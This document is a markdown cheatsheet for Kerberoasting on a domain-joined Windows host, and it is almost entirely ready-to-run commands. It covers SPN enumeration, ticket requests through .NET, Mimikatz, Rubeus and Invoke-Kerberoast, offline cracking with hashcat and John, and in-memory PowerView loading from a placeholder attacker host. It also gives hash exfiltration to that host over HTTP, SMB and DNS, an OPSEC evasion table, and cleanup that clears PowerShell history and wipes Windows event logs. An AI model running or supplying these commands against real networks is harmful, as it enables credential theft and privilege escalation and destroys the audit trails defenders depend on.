kerberoasting-local-on-host.md (10125B)
1 --- 2 title: "Kerberoasting — Local On-Host" 3 description: "[1] Enumerate SPNs → [2] Request TGS Ticket → [3] Extract Hash → [4] Crack Offline" 4 category: active-directory 5 subcategory: "Kerberos & Delegation" 6 tags: ["active-directory", "kerberos", "sql-injection", "hashing"] 7 tools: ["Impacket", "Mimikatz", "Rubeus", "Hashcat", "John"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/Kerberos/Kerberoasting — Local On-Host Cheatsheet.md" 11 --- 12 # 🎟️ Kerberoasting — Local / On-Host Cheatsheet 13 14 > Focused on techniques executable **directly on a domain-joined Windows machine** using native tools, .NET, and in-memory methods (LOTL). 15 16 --- 17 18 ## ⚡ Quick Reference — Attack Flow 19 20 ``` 21 [1] Enumerate SPNs → [2] Request TGS Ticket → [3] Extract Hash → [4] Crack Offline 22 ``` 23 24 --- 25 26 ## 🔎 Phase 1 — SPN Enumeration (No Tools Required) 27 28 ### Built-in `setspn.exe` 29 ```cmd 30 :: All SPNs in the domain 31 setspn -T DOMAIN.LOCAL -Q */* 32 33 :: All SPNs on a specific host 34 setspn -L hostname 35 36 :: Find SQL SPNs specifically 37 setspn -T DOMAIN.LOCAL -Q MSSQLSvc/* 38 39 :: Find HTTP SPNs 40 setspn -T DOMAIN.LOCAL -Q HTTP/* 41 ``` 42 43 ### Native PowerShell + .NET (No Imports) 44 ```powershell 45 # Enumerate all user accounts with SPNs via ADSI 46 $search = New-Object DirectoryServices.DirectorySearcher 47 $search.Filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" 48 $search.PropertiesToLoad.AddRange(@("samaccountname","serviceprincipalname","pwdlastset")) 49 $results = $search.FindAll() 50 $results | ForEach-Object { 51 Write-Host "User: $($_.Properties['samaccountname'])" 52 Write-Host "SPN: $($_.Properties['serviceprincipalname'])" 53 Write-Host "PwdLastSet: $($_.Properties['pwdlastset'])" 54 Write-Host "---" 55 } 56 ``` 57 58 ### Active Directory PowerShell Module (if available) 59 ```powershell 60 # Import module (requires RSAT or AD module) 61 Import-Module ActiveDirectory 62 63 # Get kerberoastable users 64 Get-ADUser -Filter {ServicePrincipalName -ne "$null"} ` 65 -Properties ServicePrincipalName, PasswordLastSet, MemberOf | 66 Select-Object Name, SamAccountName, ServicePrincipalName, PasswordLastSet | 67 Sort-Object PasswordLastSet 68 69 # Find accounts with old passwords (easiest to crack) 70 Get-ADUser -Filter {ServicePrincipalName -ne "$null"} ` 71 -Properties ServicePrincipalName, PasswordLastSet | 72 Where-Object { $_.PasswordLastSet -lt (Get-Date).AddYears(-1) } | 73 Select-Object SamAccountName, PasswordLastSet, ServicePrincipalName 74 ``` 75 76 ### PowerView (PowerSploit) 77 ```powershell 78 # Load into memory (no disk drop) 79 iex (New-Object Net.WebClient).DownloadString('http://<attacker>/PowerView.ps1') 80 81 # Get all SPN users 82 Get-DomainUser -SPN | Select SamAccountName, ServicePrincipalName, PasswordLastSet 83 84 # Get specific SPN types 85 Get-DomainUser -SPN | Where-Object { $_.ServicePrincipalName -like "*SQL*" } 86 87 # Get kerberoastable users with admin rights (high value) 88 Get-DomainUser -SPN | Get-DomainGroup -MemberIdentity | Where-Object { $_.Name -like "*Admin*" } 89 ``` 90 91 --- 92 93 ## 🎯 Phase 2 — Ticket Request & Extraction 94 95 ### Method 1 — Pure .NET (No Tools, In-Memory) 96 ```powershell 97 # Request a single TGS ticket for a known SPN 98 Add-Type -AssemblyName System.IdentityModel 99 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken ` 100 -ArgumentList "MSSQLSvc/sqlserver.domain.local:1433" 101 102 # Verify ticket is now in cache 103 klist 104 ``` 105 106 ### Method 2 — Request All SPN Tickets via .NET Loop 107 ```powershell 108 # Enumerate SPNs and request all tickets in one loop 109 Add-Type -AssemblyName System.IdentityModel 110 111 $search = New-Object DirectoryServices.DirectorySearcher 112 $search.Filter = "(&(objectClass=user)(servicePrincipalName=*)(!samaccountname=krbtgt))" 113 $search.PropertiesToLoad.Add("serviceprincipalname") | Out-Null 114 $search.FindAll() | ForEach-Object { 115 $spn = $_.Properties['serviceprincipalname'][0] 116 Write-Host "[*] Requesting ticket for: $spn" 117 try { 118 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn 119 } catch { Write-Host "[-] Failed: $_" } 120 } 121 122 # Export all tickets from memory with Mimikatz after 123 ``` 124 125 ### Method 3 — Mimikatz (Export Tickets from Memory) 126 ```powershell 127 # After tickets are loaded into memory via .NET above 128 129 # From Mimikatz console: 130 kerberos::list /export # Export all tickets to .kirbi files 131 132 # Or directly dump hash from ticket 133 kerberos::ask /target:MSSQLSvc/sqlserver.domain.local:1433 134 ``` 135 136 ### Method 4 — Rubeus (C# — Drop or Load In-Memory) 137 ```powershell 138 # Dump all kerberoastable hashes (hashcat format) 139 .\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat /nowrap 140 141 # Recon only — no ticket requests made 142 .\Rubeus.exe kerberoast /stats 143 144 # Target a single user 145 .\Rubeus.exe kerberoast /user:svc_mssql /format:hashcat /nowrap 146 147 # Force RC4 downgrade (faster to crack) 148 .\Rubeus.exe kerberoast /tgtdeleg /format:hashcat /nowrap 149 150 # Filter by stale passwords (high-value targets) 151 .\Rubeus.exe kerberoast /pwdsetbefore:01-01-2022 /format:hashcat /nowrap 152 153 # Roast a specific OU 154 .\Rubeus.exe kerberoast /ou:"OU=ServiceAccounts,DC=domain,DC=local" /format:hashcat 155 156 # Use an existing TGT (avoid touching your own credentials) 157 .\Rubeus.exe kerberoast /ticket:doIFuj[...]lDT0k= /format:hashcat /nowrap 158 ``` 159 160 ### Method 5 — Invoke-Kerberoast (PowerShell, No Binary Drop) 161 ```powershell 162 # Load PowerSploit PowerView 163 iex (New-Object Net.WebClient).DownloadString('http://<attacker>/PowerView.ps1') 164 165 # Get all hashes in Hashcat format 166 Invoke-Kerberoast -OutputFormat Hashcat | 167 Select-Object -ExpandProperty Hash | 168 Out-File -FilePath C:\Users\Public\hashes.txt -Encoding ASCII 169 170 # John format 171 Invoke-Kerberoast -OutputFormat John | Select-Object Hash | fl 172 173 # Target specific domain 174 Invoke-Kerberoast -Domain dev.corp.local -OutputFormat Hashcat | fl 175 176 # With alternate credentials 177 $pass = ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force 178 $cred = New-Object Management.Automation.PSCredential('DOMAIN\user', $pass) 179 Invoke-Kerberoast -Credential $cred -OutputFormat Hashcat | fl 180 ``` 181 182 ### Method 6 — LOTL via `klist` + `certutil` Exfil 183 ```cmd 184 :: View tickets currently cached 185 klist 186 187 :: Purge all tickets (cleanup) 188 klist purge 189 190 :: Inspect a specific ticket 191 klist tickets -v 192 ``` 193 194 --- 195 196 ## 📦 Phase 3 — Exfiltrate Hashes 197 198 ```powershell 199 # Base64 encode and print (easy copy-paste exfil) 200 $hash = Get-Content C:\Users\Public\hashes.txt 201 [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes($hash)) 202 203 # Exfil via HTTP to attacker machine 204 $hash = Get-Content C:\Users\Public\hashes.txt -Raw 205 Invoke-WebRequest -Uri "http://<attacker>:8080/?h=$hash" -Method GET 206 207 # Exfil via SMB (if share available) 208 Copy-Item C:\Users\Public\hashes.txt \\<attacker>\share\hashes.txt 209 210 # DNS exfil (one chunk at a time) 211 $hash = (Get-Content C:\Users\Public\hashes.txt)[0] 212 Resolve-DnsName "$hash.<attacker-domain>" 213 ``` 214 215 --- 216 217 ## 🔨 Phase 4 — Crack Locally (Attacker Machine) 218 219 ### Hashcat Quick Reference 220 ```bash 221 # RC4 / Type 23 — most common, fastest 222 hashcat -m 13100 hashes.txt rockyou.txt 223 224 # AES-128 / Type 17 225 hashcat -m 19600 hashes.txt rockyou.txt 226 227 # AES-256 / Type 18 228 hashcat -m 19700 hashes.txt rockyou.txt 229 230 # With rules (best64 = good balance) 231 hashcat -m 13100 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule 232 233 # Combinator attack (wordlist + wordlist) 234 hashcat -m 13100 -a 1 hashes.txt words1.txt words2.txt 235 236 # Mask attack — 8 chars, Capital+lower+2digits 237 hashcat -m 13100 -a 3 hashes.txt ?u?l?l?l?l?l?d?d 238 239 # Resume a cracking session 240 hashcat -m 13100 hashes.txt rockyou.txt --restore 241 242 # Show cracked passwords 243 hashcat -m 13100 hashes.txt --show 244 ``` 245 246 ### John the Ripper 247 ```bash 248 john --format=krb5tgs --wordlist=rockyou.txt hashes.txt 249 john --format=krb5tgs hashes.txt --show 250 ``` 251 252 --- 253 254 ## 🥷 Staying Stealthy — OPSEC on Host 255 256 | Action | Stealthy Option | Why | 257 |---|---|---| 258 | Enumeration | ADSI .NET query or `setspn` | Looks like admin activity | 259 | Ticket request | Single target `/user:` | Less noise than bulk roasting | 260 | Avoid RC4 force | Request AES tickets | `0x17` etype in Event 4769 is a red flag | 261 | No binary drop | PowerShell in-memory | Reduces forensic artefacts | 262 | Use `/stats` first | Rubeus recon only | Zero KDC requests | 263 | Timestamp awareness | Off-hours blending | Match normal baseline traffic | 264 | Cleanup | `klist purge` post-attack | Removes ticket artefacts from memory | 265 266 --- 267 268 ## 🧹 Post-Exploitation Cleanup 269 270 ```powershell 271 # Remove exported ticket files 272 Remove-Item C:\Users\Public\hashes.txt -Force 273 Remove-Item *.kirbi -Force 274 275 # Purge Kerberos ticket cache 276 klist purge 277 278 # Clear PowerShell history 279 Clear-History 280 Remove-Item (Get-PSReadLineOption).HistorySavePath -Force 281 282 # Clear Windows event logs (if admin) 283 wevtutil cl Security 284 wevtutil cl System 285 wevtutil cl "Microsoft-Windows-PowerShell/Operational" 286 ``` 287 288 --- 289 290 ## 🗺️ High-Value SPN Targets 291 292 | SPN Prefix | Service | Why Valuable | 293 |---|---|---| 294 | `MSSQLSvc/*` | SQL Server | Often runs as domain user with high privileges | 295 | `HTTP/*` | IIS / Web | May have access to web app databases | 296 | `TERMSRV/*` | RDP service | Lateral movement to servers | 297 | `exchangeMDB/*` | Exchange | Access to mail data | 298 | `WSMAN/*` | WinRM | Remote management | 299 | `SPN on Domain Admin` | Any | Instant privilege escalation if cracked | 300 301 --- 302 303 ## 📋 One-Liner Cheatsheet 304 305 ```powershell 306 # Full LOTL pipeline — enumerate + request + dump (no tools) 307 Add-Type -AssemblyName System.IdentityModel; ` 308 (New-Object DirectoryServices.DirectorySearcher([ADSI]"", ` 309 "(&(objectClass=user)(servicePrincipalName=*)(!samaccountname=krbtgt))", ` 310 @("samaccountname","serviceprincipalname"))).FindAll() | % { ` 311 $_.Properties['serviceprincipalname'] | % { ` 312 try { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_ } catch {} } }; klist 313 ``` 314 315 ```powershell 316 # Invoke-Kerberoast one-liner (needs PowerView loaded) 317 Invoke-Kerberoast -OutputFormat Hashcat | % { $_.Hash } | Out-File hashes.txt -Encoding ASCII 318 ``` 319 320 ```bash 321 # Remote one-liner (Impacket) 322 GetUserSPNs.py DOMAIN/user:pass -dc-ip <DC_IP> -request -outputfile hashes.txt && hashcat -m 13100 hashes.txt rockyou.txt 323 ```